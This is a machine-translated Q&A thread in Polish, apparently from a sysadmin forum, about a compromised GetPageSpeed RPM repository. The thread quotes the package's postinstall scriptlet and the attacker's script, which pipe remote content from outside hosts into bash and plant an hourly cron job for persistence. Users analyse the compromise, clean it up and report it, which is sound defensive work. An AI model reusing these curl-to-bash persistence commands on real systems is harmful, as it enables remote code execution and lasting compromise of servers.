W jaki sposób instalacja tego RPM stworzyła plik?

16

Uruchamianie yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmtworzy, /etc/cron.d/sysstat2ale RPM wypiera plik:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Jak RPM utworzyło plik i jak mogę zobaczyć, co jeszcze zrobił?

Pascal
źródło
4
Więc czy ci ludzie GetPageSpeed ​​są własnością i nie wiedzą o tym, czy sami publikują złe RPMy?
Aaron Copley
1
RPM, które zainstalowałem z ich strony trzy miesiące temu, było dobre. Ten złośliwy został opublikowany wczoraj. Myślę, że były własnością i każdy, kto korzysta z repozytorium, staje się własnością. Złośliwy zstępuje w wyniku aktualizacji yum. Wysłałem im wiadomość e-mail i wiadomość za pośrednictwem formularza kontaktowego.
Pascal
I oni też to podpisali?
Aaron Copley
1
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmjest oryginalnym plikiem, nadal ma starą datę w repozytorium i gpgcheck=1jest w nim ustawiony.
Pascal
1
Sugerujemy również skontaktowanie się z administratorem sieci na stronie sayitwithagift.com, chociaż YMMV, w sprawie odpowiedzi na pytanie. Skończyło się na tym, że skontaktowałem się z dostawcą hostingu witryny internetowej, aby skontaktować się raz na temat źle skonfigurowanego serwera poczty, ponieważ sama witryna nigdy nie odpowiedziała.
Darren

Odpowiedzi:

18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php zawiera:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
Pascal
źródło
16

Odkryłeś, że skrypty rpm uruchamiają skrypt z Internetu, a ten skrypt obecnie przekierowuje do potencjalnie złośliwego oprogramowania. Chociaż nie znajduję ładunków, które mogłyby coś zrobić.

rpm nie może całkowicie śledzić, co się stało, ponieważ uruchamia dowolny skrypt.

gpgcheck ci nie pomoże, zarówno link , jak getpagespeed-extras-7-6.el7.gps.noarch.rpmi getpagespeed-extras-release-7-1.el7.gps.noarch.rpmlink wydają się mieć prawidłowe podpisy:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Skarż się właścicielowi repozytorium, że pakiet uruchamia dowolny kod z Internetu. Jeśli to konieczne, należy poprawić bezpieczeństwo łańcucha dostaw oprogramowania.

Trochę paranoikiem wydaje się wykonanie pierwszej instalacji oprogramowania bez dostępu do Internetu lub ręczne sprawdzenie skryptu „po instalacji”. Ale niestety prawie wydaje się konieczne, jeśli pakiety wykonują takie niewłaściwe sztuczki.

John Mahowald
źródło
Ładunek to zadanie crona, które pobiera i uruchamia „ sayitwithagift.com/pwn.php ” co godzinę. Obecnie nic tam nie ma, ale to może się zmienić w dowolnym momencie. Usunięcie RPM nie usuwa ładunku.
Pascal
Ich oryginalne RPM nie miało skryptu poinstalacyjnego. Tylko wersja przesłana wczoraj (prawdopodobnie przez hakera) tak.
Pascal
1
Nie jest jasne, czy dodanie z kodu internetowego exec jest uzasadnionym pomysłem, czy dodane przez ekipę złośliwego oprogramowania. To drugie jest jeszcze gorsze, ponieważ implikuje to, że procesy podpisywania i przesyłania zostały naruszone.
John Mahowald,
1

Mam 5 serwerów CLoudLinux / cPanel, na których kiedyś miałem na sobie Nginx za pośrednictwem Engintron, ale teraz zamiast tego działają na serwerze LiteSpeed. Myślę, że Engintron mógł pozostawić repozytorium stron za sobą, gdy został odinstalowany. cPanel przeprowadza sprawdzanie aktualizacji co noc, a około północy wszystkie moje serwery wysłały mi raport e-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Wyszukiwanie strony z ładunkami doprowadziło mnie tutaj, gdzie widzę, że tego samego dnia miałeś ten sam problem. Więc dodaj moje informacje do swoich. Ten sam /etc/cron.d/sysstat2plik istniał na wszystkich moich serwerach.

Usunąłem plik, usunąłem repozytorium i skorzystałem z formularza kontaktowego w GetPageSpeed, aby zgłosić problem. Właścicielem repozytorium może być AWOL, ponieważ na blogu był napisany, że wyłącza repozytorium z powodu problemów zdrowotnych. Może więc atakujący albo skorzystał z faktu, że repo nie przyciąga uwagi, albo znalazł otwarte drzwi do wykorzystania.

John C. Reid
źródło
1
Wiadomość o wyłączeniu repozytorium została opublikowana po otrzymaniu mojego e-maila o zagrożeniu. Poprosiłem go, aby ponownie otworzył repozytorium i opublikował zaktualizowane pakiety do usunięcia /etc/cron.d/sysstat2. On to zrobił.
Pascal